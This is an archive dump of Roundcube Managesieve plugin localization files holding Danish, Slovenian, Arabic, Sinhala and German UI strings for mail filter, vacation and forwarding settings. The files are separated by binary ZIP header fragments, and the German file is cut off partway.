$labels['rules'] = 'Regler';
$labels['actions'] = 'Handlinger';
$labels['scope'] = 'Omfang';
$labels['moveup'] = 'Flyt op';
$labels['movedown'] = 'Flyt ned';
$labels['filterallof'] = 'matcher alle af de følgende regler';
$labels['filteranyof'] = 'matcher en af følgende regler';
$labels['filterany'] = 'alle meddelelser';
$labels['filtercontains'] = 'indeholder';
$labels['filternotcontains'] = 'indeholder ikke';
$labels['filteris'] = 'er ens med';
$labels['filterisnot'] = 'er ikke ens med';
$labels['filterexists'] = 'findes';
$labels['filternotexists'] = 'ikke eksisterer';
$labels['filtermatches'] = 'matcher udtryk';
$labels['filternotmatches'] = 'matcher ikke udtryk';
$labels['filterregex'] = 'matcher regulært udtryk';
$labels['filternotregex'] = 'matcher ikke regulært udtryk';
$labels['filterunder'] = 'under';
$labels['filterover'] = 'over';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME del:';
$labels['mime-message'] = 'besked';
$labels['mime-anychild'] = 'vilkårlig';
$labels['mime-type'] = 'type';
$labels['mime-subtype'] = 'undertype';
$labels['mime-contenttype'] = 'content-type';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Tilføj regel';
$labels['delrule'] = 'Slet regel';
$labels['messagemoveto'] = 'Flyt besked til';
$labels['messageredirect'] = 'Omdiriger mail til';
$labels['messagecopyto'] = 'Kopier besked til';
$labels['messagesendcopy'] = 'Send kopi af besked til';
$labels['messagereply'] = 'Svar med besked';
$labels['messagedelete'] = 'Slet besked';
$labels['messagediscard'] = 'Slet med besked';
$labels['messagekeep'] = 'Behold besked i Inbox';
$labels['messagesrules'] = 'For indgående mails:';
$labels['messagesactions'] = '...udfør følgende handlinger:';
$labels['add'] = 'Tilføje';
$labels['del'] = 'Fjern';
$labels['sender'] = 'Afsender';
$labels['recipient'] = 'Modtager';
$labels['vacationaddr'] = 'Min e-mail adresse:';
$labels['vacationdays'] = 'Hvor tit skal besked sendes (i dage):';
$labels['vacationinterval'] = 'Hvor tit skal besked sendes:';
$labels['vacationreason'] = 'Besked (ved ferie):';
$labels['vacationfrom'] = 'Svar afsender adresse:';
$labels['vacationsubject'] = 'Besked emne:';
$labels['days'] = 'dage';
$labels['seconds'] = 'sekunder';
$labels['rulestop'] = 'Stop behandling af regler';
$labels['enable'] = 'Aktivér/Deaktivér';
$labels['filterset'] = 'Filtersæt';
$labels['filtersets'] = 'Filtersæt';
$labels['filtersetadd'] = 'Tilføj filtersæt';
$labels['filtersetdel'] = 'Slet filtersæt';
$labels['filtersetact'] = 'Aktiver nuværende filtersæt';
$labels['filtersetdeact'] = 'Deaktiver nuværende filtersæt';
$labels['filterseteditraw'] = 'Rediger filtersæt';
$labels['filtersetswitch'] = 'Aktivér/Deaktivér filtersæt';
$labels['filterdef'] = 'Filter definition';
$labels['filtersetname'] = 'Filtersæt navn';
$labels['newfilterset'] = 'Nyt filtersæt';
$labels['active'] = 'aktiv';
$labels['none'] = 'ingen';
$labels['fromset'] = 'fra sæt';
$labels['fromfile'] = 'fra fil';
$labels['filterdisabled'] = 'Filter deaktiveret';
$labels['filterenabled'] = 'Filter aktiveret';
$labels['countisgreaterthan'] = 'antal er større end';
$labels['countisgreaterthanequal'] = 'antal er større end eller lig med';
$labels['countislessthan'] = 'antal er mindre end';
$labels['countislessthanequal'] = 'antal er mindre end eller lig med';
$labels['countequals'] = 'antal er lig med';
$labels['countnotequals'] = 'antal er ikke lig med';
$labels['valueisgreaterthan'] = 'værdi er større end';
$labels['valueisgreaterthanequal'] = 'værdi er større end eller lig med';
$labels['valueislessthan'] = 'værdi er mindre end';
$labels['valueislessthanequal'] = 'værdi er mindre end eller lig med';
$labels['valueequals'] = 'værdi er lig med';
$labels['valuenotequals'] = 'værdi er ikke lig med';
$labels['setflags'] = 'Sæt flag i beskeden';
$labels['addflags'] = 'Tilføj flag til beskeden';
$labels['removeflags'] = 'Fjern flag fra beskeden';
$labels['flagread'] = 'Læs';
$labels['flagdeleted'] = 'Slettede';
$labels['flaganswered'] = 'Besvaret';
$labels['flagflagged'] = 'Markeret';
$labels['flagdraft'] = 'Kladde';
$labels['addheader'] = 'Tilføj header til beskeden';
$labels['deleteheader'] = 'Fjern header fra beskeden';
$labels['headername'] = 'Headernavn';
$labels['headervalue'] = 'Headerværdi';
$labels['headerpos'] = 'Headerposition';
$labels['headeratstart'] = 'i begyndelsen';
$labels['headeratend'] = 'i slutningen';
$labels['headerfromstart'] = 'Fra start';
$labels['headerfromend'] = 'Fra slut';
$labels['setvariable'] = 'Skriv variablen';
$labels['setvarname'] = 'Variabel navn:';
$labels['setvarvalue'] = 'Variabel værdi:';
$labels['setvarmodifiers'] = 'Modifikator';
$labels['varlower'] = 'små bogstaver';
$labels['varupper'] = 'store bogstaver';
$labels['varlowerfirst'] = 'første bogstav lille';
$labels['varupperfirst'] = 'Første bogstav stort';
$labels['varquotewildcard'] = 'Sæt specialle tegn i citationstegn ';
$labels['varlength'] = 'længde';
$labels['notify'] = 'Send meddelelse';
$labels['notifytarget'] = 'Meddelelse mål:';
$labels['notifyimportance'] = 'Vigtighed:';
$labels['notifyimportancelow'] = 'lav';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'høj';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Opret filter';
$labels['usedata'] = 'Brug følgende data i filteret:';
$labels['nextstep'] = 'Næste trin';
$labels['...'] = '...';
$labels['string'] = 'Streng';
$labels['currdate'] = 'Aktuel dato';
$labels['datetest'] = 'Dato';
$labels['dateheader'] = 'header:';
$labels['year'] = 'år';
$labels['month'] = 'måned';
$labels['day'] = 'dag';
$labels['date'] = 'dato (åååå-mm-dd)';
$labels['julian'] = 'dato (juliansk)';
$labels['hour'] = 'time';
$labels['minute'] = 'minut';
$labels['second'] = 'sekund';
$labels['time'] = 'tid (tt:mm:ss)';
$labels['iso8601'] = 'dato (ISO8601)';
$labels['std11'] = 'dato (RFC2822)';
$labels['zone'] = 'tidszone';
$labels['weekday'] = 'ugedag (0-6)';
$labels['advancedopts'] = 'Avancerede muligheder';
$labels['body'] = 'Brødtekst';
$labels['address'] = 'adresse';
$labels['envelope'] = 'kuvert';
$labels['modifier'] = 'modificerer:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'udekodet (råt):';
$labels['contenttype'] = 'indholdstype';
$labels['modtype'] = 'type:';
$labels['allparts'] = 'alle';
$labels['domain'] = 'domæne';
$labels['localpart'] = 'lokal del';
$labels['user'] = 'bruger';
$labels['detail'] = 'detalje';
$labels['comparator'] = 'sammenligner:';
$labels['default'] = 'standard';
$labels['octet'] = 'præcis (oktet)';
$labels['asciicasemap'] = 'store og små bogstaver (ascii-bogstaver)';
$labels['asciinumeric'] = 'numerisk (ascii-numerisk)';
$labels['index'] = 'indeks:';
$labels['indexlast'] = 'baglends';
$labels['spamtest'] = 'Spam score ';
$labels['spamtestisgreaterthan'] = 'er større end';
$labels['spamtestisgreaterthanequal'] = 'er større end eller lig med';
$labels['spamtestislessthan'] = 'er mindre end';
$labels['spamtestislessthanequal'] = 'er mindre end eller lig med';
$labels['spamtestequals'] = 'er ens med';
$labels['spamtestnotequals'] = 'er ikke ens med';
$labels['spamtestisunknown'] = 'er ukendt';
$labels['vacation'] = 'Ikke tilstede';
$labels['vacation.reply'] = 'Svar besked';
$labels['vacation.advanced'] = 'Avancerede indstillinger ';
$labels['vacation.subject'] = 'Emne';
$labels['vacation.body'] = 'Body';
$labels['vacation.start'] = 'Start tid';
$labels['vacation.end'] = 'Slut tid';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'Tænd';
$labels['vacation.off'] = 'Sluk';
$labels['vacation.addresses'] = 'Mine e-mail adresser';
$labels['vacation.saving'] = 'Gemmer data...';
$labels['vacation.keep'] = 'Behold';
$labels['vacation.discard'] = 'Kasser';
$labels['vacation.redirect'] = 'Omdiriger til ';
$labels['vacation.copy'] = 'Send kopi til';
$labels['forward.redirect'] = 'Omdiriger til ';
$labels['forward.copy'] = 'Send kopi til';
$labels['forward.on'] = 'Tænd';
$labels['forward.off'] = 'Sluk';
$labels['forward.status'] = 'Status:';
$labels['forward.saving'] = 'Gemmer data...';
$labels['ariasummaryfilterslist'] = 'Liste over filtre';
$labels['ariasummaryfiltersetslist'] = 'Liste over filtre indstillinger';
$labels['filterstitle'] = 'Rediger filter for indkommende mails';
$labels['vacationtitle'] = 'Rediger out-of-office regel';
$labels['message'] = 'Besked';
$labels['duplicate.header'] = 'header:';
$messages['filterunknownerror'] = 'Ukendt server fejl.';
$messages['filterconnerror'] = 'Kan ikke forbinde til server.';
$messages['filterdeleteerror'] = 'Kunne ikke slette filter. Serverfejl opstod.';
$messages['filterdeleted'] = 'Filter slettet.';
$messages['filtersaved'] = 'Filter gemt.';
$messages['filtersaveerror'] = 'Kunne ikke gemme filter. Serverfejl.';
$messages['filterdeleteconfirm'] = 'Vil du slette det valgte filter?';
$messages['ruledeleteconfirm'] = 'Er du sikker på at du vil slette den valgte regel?';
$messages['actiondeleteconfirm'] = 'Er du sikker på du vil slette den valgte handling?';
$messages['forbiddenchars'] = 'Ulovlige tegn i feltet';
$messages['cannotbeempty'] = 'Feltet kan ikke være tomt.';
$messages['ruleexist'] = 'Filter med dette navn eksisterer allerede.';
$messages['activateerror'] = 'Kan ikke aktivere valgt filter sæt. Server fejl.';
$messages['deactivateerror'] = 'Kan ikke deaktivere valgt filter sæt. Server fejl.';
$messages['deactivated'] = 'Filter(filtre) aktiveret.';
$messages['activated'] = 'Filter(filtre) deaktiveret.';
$messages['moved'] = 'Filter flyttet.';
$messages['moveerror'] = 'Kan ikke flytte valgt filter. Server fejl.';
$messages['nametoolong'] = 'Navn er for langt.';
$messages['namereserved'] = 'Reserveret navn.';
$messages['setexist'] = 'Filtersæt eksisterer allerede.';
$messages['nodata'] = 'Mindst en position skal vælges!';
$messages['invaliddateformat'] = 'Ugyldigt dato- eller tidsformat';
$messages['saveerror'] = 'Kunne ikke gemme data. Server fejl';
PKh�\�Dw0w0*plugins/managesieve/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtri';
$labels['managefilters'] = 'Uredi filtre za dohodno pošto';
$labels['filtername'] = 'Ime filtra';
$labels['newfilter'] = 'Nov filter';
$labels['filteradd'] = 'Dodaj filter';
$labels['filterdel'] = 'Izbriši filter';
$labels['rules'] = 'Pravila';
$labels['actions'] = 'Možnosti';
$labels['scope'] = 'Obseg';
$labels['moveup'] = 'Pomakni se navzgor';
$labels['movedown'] = 'Pomakni se navzdol';
$labels['filterallof'] = 'izpolnjeni morajo biti vsi pogoji';
$labels['filteranyof'] = 'izpolnjen mora biti vsaj eden od navedenih pogojev';
$labels['filterany'] = 'pogoj velja za vsa sporočila';
$labels['filtercontains'] = 'vsebuje';
$labels['filternotcontains'] = 'ne vsebuje';
$labels['filteris'] = 'je enak/a';
$labels['filterisnot'] = 'ni enak/a';
$labels['filterexists'] = 'obstaja';
$labels['filternotexists'] = 'ne obstaja';
$labels['filtermatches'] = 'ustreza izrazu';
$labels['filternotmatches'] = 'ne ustreza izrazu';
$labels['filterregex'] = 'ustreza regularnemu izrazu';
$labels['filternotregex'] = 'ne ustreza regularnemu izrazu';
$labels['filterunder'] = 'pod';
$labels['filterover'] = 'nad';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Del MIME:';
$labels['mime-message'] = 'sporočilo';
$labels['mime-anychild'] = 'katerikoli';
$labels['mime-type'] = 'tip';
$labels['mime-subtype'] = 'podtip';
$labels['mime-contenttype'] = 'tip vsebine';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Dodaj pravilo';
$labels['delrule'] = 'Izbriši pravilo';
$labels['messagemoveto'] = 'Premakni sporočilo v';
$labels['messageredirect'] = 'Preusmeri sporočilo v';
$labels['messagecopyto'] = 'Kopiraj sporočila na';
$labels['messagesendcopy'] = 'Pošlji kopijo sporočila na';
$labels['messagereply'] = 'Odgovori s sporočilom';
$labels['messagedelete'] = 'Izbriši sporočilo';
$labels['messagediscard'] = 'Zavrži s sporočilom';
$labels['messagekeep'] = 'Ohrani sporočila v mapi Prejeto';
$labels['messagesrules'] = 'Določi pravila za dohodno pošto:';
$labels['messagesactions'] = '...izvrši naslednja dejanja:';
$labels['add'] = 'Dodaj';
$labels['del'] = 'Izbriši';
$labels['sender'] = 'Pošiljatelj';
$labels['recipient'] = 'Prejemnik';
$labels['vacationaddr'] = 'Moji elektronski naslovi:';
$labels['vacationdays'] = 'Kako pogosto naj bodo sporočila poslana (v dnevih):';
$labels['vacationinterval'] = 'Sporočila pošlji na:';
$labels['vacationreason'] = 'Vsebina sporočila (vzrok za odsotnost):';
$labels['vacationfrom'] = 'Naslov za odgovor:';
$labels['vacationsubject'] = 'Zadeva sporočila';
$labels['days'] = 'dni';
$labels['seconds'] = 'sekund';
$labels['rulestop'] = 'Prekini z izvajanjem pravil';
$labels['enable'] = 'Omogoči/Onemogoči';
$labels['filtersets'] = 'Nastavitve filtrov';
$labels['filterseteditraw'] = 'Uredi nabor filtrov';
$labels['filterdef'] = 'Opis filtra';
$labels['active'] = 'aktiven';
$labels['none'] = 'brez';
$labels['fromset'] = 'iz nastavitve';
$labels['fromfile'] = 'iz dokumenta';
$labels['filterdisabled'] = 'Filter onemogočen';
$labels['countisgreaterthan'] = 'seštevek je večji od';
$labels['countisgreaterthanequal'] = 'seštevek je večji ali enak';
$labels['countislessthan'] = 'seštevek je manjši od';
$labels['countislessthanequal'] = 'seštevel je manjši ali enak';
$labels['countequals'] = 'seštevek je enak';
$labels['countnotequals'] = 'vsota ne ustreza';
$labels['valueisgreaterthan'] = 'vrednost je večja od';
$labels['valueisgreaterthanequal'] = 'vrednost je večja ali enaka';
$labels['valueislessthan'] = 'vrednost je manjša od';
$labels['valueislessthanequal'] = 'vrednost je manjša ali enaka';
$labels['valueequals'] = 'vrednost je enaka';
$labels['valuenotequals'] = 'vrednost ni enaka';
$labels['setflags'] = 'Označi sporočilo';
$labels['addflags'] = 'Označi sporočilo';
$labels['removeflags'] = 'Odstrani zaznamke s sporočil';
$labels['flagread'] = 'Prebrano';
$labels['flagdeleted'] = 'Izbrisano';
$labels['flaganswered'] = 'Odgovorjeno';
$labels['flagflagged'] = 'Označeno';
$labels['flagdraft'] = 'Osnutek';
$labels['addheader'] = 'Dodaj glavo sporočilu';
$labels['deleteheader'] = 'Odstrani glavo iz sporočila';
$labels['headername'] = 'Ime glave sporočila';
$labels['headervalue'] = 'Vrednost glave sporočila';
$labels['headeratstart'] = 'na začetku';
$labels['headeratend'] = 'na koncu';
$labels['headerfromstart'] = 'od začetka';
$labels['headerfromend'] = 'od konca';
$labels['setvariable'] = 'Nastavi spremenljivko';
$labels['setvarname'] = 'Ime spremenljivke:';
$labels['setvarvalue'] = 'Vrednost spremenljivke:';
$labels['setvarmodifiers'] = 'Modifikator:';
$labels['varlower'] = 'majhne črke';
$labels['varupper'] = 'velike črke';
$labels['varlowerfirst'] = 'prvi znak velika začetnica';
$labels['varupperfirst'] = 'prvi znak velika začetnica';
$labels['varquotewildcard'] = 'citiraj posebne znake';
$labels['varlength'] = 'dolžina';
$labels['notify'] = 'Poštlji obvestilo';
$labels['notifytarget'] = 'Cilj obvestila:';
$labels['notifymessage'] = 'Besedilo obvestila (ni obvezno):';
$labels['notifyoptions'] = 'Možnosti obvestila (ni obvezno):';
$labels['notifyfrom'] = 'Pošiljatelj obvestila (ni obvezno):';
$labels['notifyimportance'] = 'Pomembnost:';
$labels['notifyimportancelow'] = 'nizko';
$labels['notifyimportancenormal'] = 'običajno';
$labels['notifyimportancehigh'] = 'visoko';
$labels['notifymethodmailto'] = 'E-Pošta';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Ustvari filter';
$labels['usedata'] = 'Pri stvarjanju filtra uporabi naslednje podatke';
$labels['nextstep'] = 'Naslednji korak';
$labels['...'] = '...';
$labels['string'] = 'Niz';
$labels['currdate'] = 'Današnji datum';
$labels['datetest'] = 'Datum';
$labels['dateheader'] = 'glava:';
$labels['year'] = 'leto';
$labels['month'] = 'mesec';
$labels['day'] = 'dan';
$labels['date'] = 'datum(yyyy-mm-dd)';
$labels['julian'] = 'datum (julijanski)';
$labels['hour'] = 'ura';
$labels['minute'] = 'minuta';
$labels['second'] = 'sekunda';
$labels['time'] = 'čas';
$labels['iso8601'] = 'datum (ISO8601)';
$labels['std11'] = 'datum (RFC2822)';
$labels['zone'] = 'časovni pas';
$labels['weekday'] = 'dan v tednu (0-6)';
$labels['advancedopts'] = 'Dodatne možnosti';
$labels['body'] = 'Vsebina';
$labels['address'] = 'naslov';
$labels['envelope'] = 'ovojnica';
$labels['modifier'] = 'modifikator';
$labels['text'] = 'besedilo';
$labels['undecoded'] = 'neobdelano';
$labels['contenttype'] = 'tip vsebine';
$labels['modtype'] = 'tip';
$labels['allparts'] = 'vse';
$labels['domain'] = 'domena';
$labels['localpart'] = 'lokalni del';
$labels['user'] = 'uporabnik';
$labels['detail'] = 'podrobnosti';
$labels['comparator'] = 'primerjalnik';
$labels['default'] = 'privzeto';
$labels['octet'] = 'strict (octet)';
$labels['asciicasemap'] = 'ni občutljiv na velike/male črke (ascii-casemap)';
$labels['asciinumeric'] = 'numerično (ascii-numeric)';
$labels['index'] = 'indeks:';
$labels['indexlast'] = 'obraten vrstni red';
$labels['spamtestequals'] = 'je enak/a';
$labels['spamtestnotequals'] = 'ni enak/a';
$labels['vacation'] = 'Sporočilo o odsotnosti';
$labels['vacation.reply'] = 'Sporočilo za odgovor';
$labels['vacation.advanced'] = 'Napredne nastavitve';
$labels['vacation.from'] = 'Naslov za odgovor';
$labels['vacation.subject'] = 'Zadeva';
$labels['vacation.body'] = 'Vsebina';
$labels['vacation.start'] = 'Začetek';
$labels['vacation.end'] = 'Konec';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'Vključeno';
$labels['vacation.off'] = 'Izključeno';
$labels['vacation.addresses'] = 'Moji elektronski naslovi';
$labels['vacation.interval'] = 'Interval za odgovor';
$labels['vacation.saving'] = 'Shranjevanje podatkov...';
$labels['vacation.action'] = 'Operacije za dohodna sporočila';
$labels['vacation.keep'] = 'Ohrani';
$labels['vacation.discard'] = 'Zavrži';
$labels['vacation.redirect'] = 'Preusmeri na';
$labels['vacation.copy'] = 'Pošlji kopijo na';
$labels['forward'] = 'Posredovanje';
$labels['forward.redirect'] = 'Preusmeri na';
$labels['forward.copy'] = 'Pošlji kopijo na';
$labels['forward.on'] = 'Vključeno';
$labels['forward.off'] = 'Izključeno';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Za dohodna sporočila izvrši naslednje operacije';
$labels['forward.saving'] = 'Shranjevanje podatkov...';
$labels['filladdresses'] = 'Dopolni z mojimi naslovi';
$labels['arialabelfiltersetactions'] = 'Nastavitve operacij filtrov';
$labels['arialabelfilteractions'] = 'Operacije filtrov';
$labels['arialabelfilterform'] = 'Lastnosti filtra';
$labels['ariasummaryfilterslist'] = 'Seznam filtrov';
$labels['ariasummaryfiltersetslist'] = 'Seznam filtrov';
$labels['filterstitle'] = 'Uredi filtre za dohodno pošto';
$labels['vacationtitle'] = 'Uredi sporočilo o odsotnosti';
$labels['forwardtitle'] = 'Uredi pravilo posredovanja pošte';
$labels['message'] = 'Sporočilo';
$labels['duplicate'] = 'je podvojen';
$labels['notduplicate'] = 'ni podvojen';
$labels['duplicate.handle'] = 'ukrep:';
$labels['duplicate.header'] = 'glava sporočila:';
$labels['duplicate.uniqueid'] = 'označevalnik:';
$labels['duplicate.seconds'] = 'časovna omejitev (sekunde):';
$labels['duplicate.last'] = 'relativno glede na zadnjo izvedbo';
$messages['filterunknownerror'] = 'Prišlo je do neznane napake.';
$messages['filterconnerror'] = 'Povezave s strežnikom (managesieve) ni bilo mogoče vzpostaviti';
$messages['filterdeleteerror'] = 'Pravila ni bilo mogoče izbrisati. Prišlo je do napake.';
$messages['filterdeleted'] = 'Pravilo je bilo uspešno izbrisano.';
$messages['filtersaved'] = 'Pravilo je bilo uspešno shranjeno';
$messages['filtersaveerror'] = 'Pravila ni bilo mogoče shraniti. Prišlo je do napake.';
$messages['filterformerror'] = 'Filter vsebuje napake.';
$messages['filterdeleteconfirm'] = 'Ste prepričani, da želite izbrisati izbrano pravilo?';
$messages['ruledeleteconfirm'] = 'Ste prepričani, da želite izbrisati izbrano pravilo?';
$messages['actiondeleteconfirm'] = 'Ste prepričani, da želite izbrisati izbrano dejanje?';
$messages['forbiddenchars'] = 'V polju so neveljavni znaki';
$messages['cannotbeempty'] = 'Polje ne sme biti prazno';
$messages['ruleexist'] = 'Filer s tem imenom že obstaja';
$messages['activateerror'] = 'Izbranega/ih filtra/ov ni bilo mogoče vključiti. Prišlo je do napake na strežniku.';
$messages['deactivateerror'] = 'Izbranega/ih fitra/ov ni bilo mogoče izključiti. Prišlo je do napake na strežniku.';
$messages['deactivated'] = 'Filtri so bili uspešno omogočeni.';
$messages['activated'] = 'Filtri so bili uspešno onemogočeni.';
$messages['moved'] = 'Filter je bil uspešno premaknjen.';
$messages['moveerror'] = 'Izbranega filtra ni bilo mogoče premakniti. Prišlo je do napake na strežniku.';
$messages['nametoolong'] = 'Ime je predolgo.';
$messages['namereserved'] = 'Rezervirano ime.';
$messages['setexist'] = 'Nastavitev filtra že obstaja.';
$messages['nodata'] = 'Izbrana mora biti vsaj ena nastavitev!';
$messages['invaliddateformat'] = 'Neveljaven datum ali oblika zapisa datuma';
$messages['saveerror'] = 'Podatkov ni bilo mogoče shraniti. Prišlo je do napake na strežniku.';
$messages['vacationsaved'] = 'Sporočilo o odsotnosti je bilo uspešno shranjeno.';
$messages['forwardsaved'] = 'Posredovanje podatkov je bilo uspešno shranjeno.';
$messages['emptyvacationbody'] = 'Zahtevana je vsebina sporočila o odsotnosti';
$messages['duplicate.conflict.err'] = 'Tako glava sporočila kot enoličen označevalnik nista dovoljena.';
$messages['disabledaction'] = 'Operacija ni dovoljena.';
PKh�\�/��//'plugins/managesieve/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'عوامل التصفية';
$labels['filtername'] = 'إسم عامل التصفية';
$labels['newfilter'] = 'عامل تصفية جديد';
$labels['filteradd'] = 'إضافة عامل تصفية';
$labels['filterdel'] = 'حذف عامل تصفية';
$labels['rules'] = 'القواعد';
$labels['actions'] = 'الإجراءات';
$labels['scope'] = 'المجال';
$labels['moveup'] = 'النقل إلى أعلى';
$labels['movedown'] = 'النقل إلى أسفل';
$labels['filterany'] = 'كافة الرسائل';
$labels['filtercontains'] = 'يحتوي على';
$labels['filternotcontains'] = 'لا يحتوي على';
$labels['addrule'] = 'إضافة قاعدة';
$labels['delrule'] = 'حذف قاعدة';
$labels['messagemoveto'] = 'نقل الرسالة إلى';
$labels['messageredirect'] = 'تحويل الرسالة إلى';
$labels['messagecopyto'] = 'نسخ الرسالة إلى';
$labels['messagedelete'] = 'حذف الرسالة';
$labels['add'] = 'إضافة';
$labels['del'] = 'حذف';
$labels['sender'] = 'المُرسِل';
$labels['recipient'] = 'المتلقَّي';
$labels['vacationaddr'] = 'عناوين البريد الإلكترونية الخاصة بي :';
$labels['vacationsubject'] = 'موضوع الرسالة :';
$labels['days'] = 'أيام';
$labels['seconds'] = 'ثواني';
$labels['enable'] = 'تعطيل/تشغيل';
$labels['flagdeleted'] = 'محذوف';
$labels['flagflagged'] = 'موسوم';
$labels['varlength'] = 'الطول';
$labels['notifyimportance'] = 'الأهمية :';
$labels['notifymethodmailto'] = 'البريد الإلكتروني';
$labels['notifymethodtel'] = 'الهاتف';
$labels['notifymethodsms'] = 'رسالة نصية قصيرة';
$labels['nextstep'] = 'الخطوة التالية';
$labels['string'] = 'السلسلة';
$labels['currdate'] = 'التاريخ الحالي';
$labels['datetest'] = 'التاريخ';
$labels['year'] = 'سنة';
$labels['month'] = 'شهر';
$labels['day'] = 'يوم';
$labels['hour'] = 'ساعة';
$labels['minute'] = 'دقيقة';
$labels['second'] = 'ثانية';
$labels['time'] = 'الوقت (hh:mm:ss)';
$labels['iso8601'] = 'التاريخ (ISO8601)';
$labels['std11'] = 'التاريخ (RFC2822)';
$labels['advancedopts'] = 'خيارات متقدّمة';
$labels['body'] = 'هيكل الرسالة';
$labels['address'] = 'العنوان';
$labels['domain'] = 'النطاق';
$labels['detail'] = 'التفاصيل';
$labels['default'] = 'إفتراضي';
$labels['vacation.advanced'] = 'الإعدادات المتقدمة';
$labels['vacation.subject'] = 'الموضوع';
$labels['vacation.body'] = 'هيكل الرسالة';
$labels['vacation.saving'] = 'جارٍ حفظ البيانات...';
$labels['forward.status'] = 'الحالة:';
$labels['forward.saving'] = 'جارٍ حفظ البيانات...';
PKh�\������*plugins/managesieve/localization/si_LK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'පෙරහණ';
$labels['moveup'] = 'ඉහළට ගෙනයන්න';
$labels['movedown'] = 'පහළට ගෙනයන්න';
$labels['filterany'] = 'සියලු පණිවිඩ';
$labels['filtercontains'] = 'අඩංගු';
$labels['messagedelete'] = 'පණිවිඩය මකන්න';
$labels['add'] = 'එක් කරන්න';
$labels['del'] = 'මකන්න';
$labels['sender'] = 'යවන්නා';
$labels['recipient'] = 'ලබන්නා';
$labels['vacationsubject'] = 'පණිවිඩයේ මාතෘකාව:';
$labels['enable'] = 'සක්‍රීය කරන්න/අක්‍රීය කරන්න';
$labels['active'] = 'සක්‍රීය';
$labels['none'] = 'කිසිවක් නැත';
$labels['flagread'] = 'කියවන්න';
$labels['flagdeleted'] = 'මකන ලදී';
$labels['flagdraft'] = 'කටු සටහන';
$labels['notifymethodmailto'] = 'විද්‍යුත් තැපෑල';
$labels['notifymethodtel'] = 'දුරකථනය';
$labels['nextstep'] = 'මීලග පියවර';
$labels['...'] = '...';
$labels['datetest'] = 'දිනය';
$labels['address'] = 'ලිපිනය';
$labels['envelope'] = 'ලියුම් කවරය';
$labels['modtype'] = 'වර්ගය:';
$labels['allparts'] = 'සියල්ල';
$labels['vacation.subject'] = 'මාතෘකාව';
$messages['nametoolong'] = 'නම දිග වැඩිය.';
PKh�\N���5959*plugins/managesieve/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filter';
$labels['managefilters'] = 'Filter für eingehende Nachrichten verwalten';
$labels['filtername'] = 'Filtername';
$labels['newfilter'] = 'Neuer Filter';
$labels['filteradd'] = 'Filter hinzufügen';
$labels['filterdel'] = 'Filter löschen';
$labels['rules'] = 'Regeln';
$labels['actions'] = 'Aktionen';
$labels['scope'] = 'Bereich';
$labels['moveup'] = 'Nach oben';
$labels['movedown'] = 'Nach unten';
$labels['filterallof'] = 'trifft auf alle folgenden Regeln zu';
$labels['filteranyof'] = 'trifft auf eine der folgenden Regeln zu';
$labels['filterany'] = 'alle Nachrichten';
$labels['filtercontains'] = 'enthält';
$labels['filternotcontains'] = 'enthält nicht';
$labels['filteris'] = 'ist gleich';
$labels['filterisnot'] = 'ist ungleich';
$labels['filterexists'] = 'existiert';
$labels['filternotexists'] = 'existiert nicht';
$labels['filtermatches'] = 'trifft auf Ausdruck zu';
$labels['filternotmatches'] = 'trifft nicht auf Ausdruck zu';
$labels['filterregex'] = 'trifft auf regulären Ausdruck zu';
$labels['filternotregex'] = 'trifft nicht auf regulären Ausdruck zu';
$labels['filterunder'] = 'unter';
$labels['filterover'] = 'über';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME-Teil:';
$labels['mime-message'] = 'Nachricht';
$labels['mime-anychild'] = 'weiteres';
$labels['mime-type'] = 'Typ';
$labels['mime-subtype'] = 'Untertyp';
$labels['mime-contenttype'] = 'Inhaltstyp';
$labels['mime-param'] = 'Parameter';
$labels['addrule'] = 'Regel hinzufügen';
$labels['delrule'] = 'Regel löschen';
$labels['messagemoveto'] = 'Nachricht verschieben nach';
$labels['messageredirect'] = 'Nachricht umleiten an';
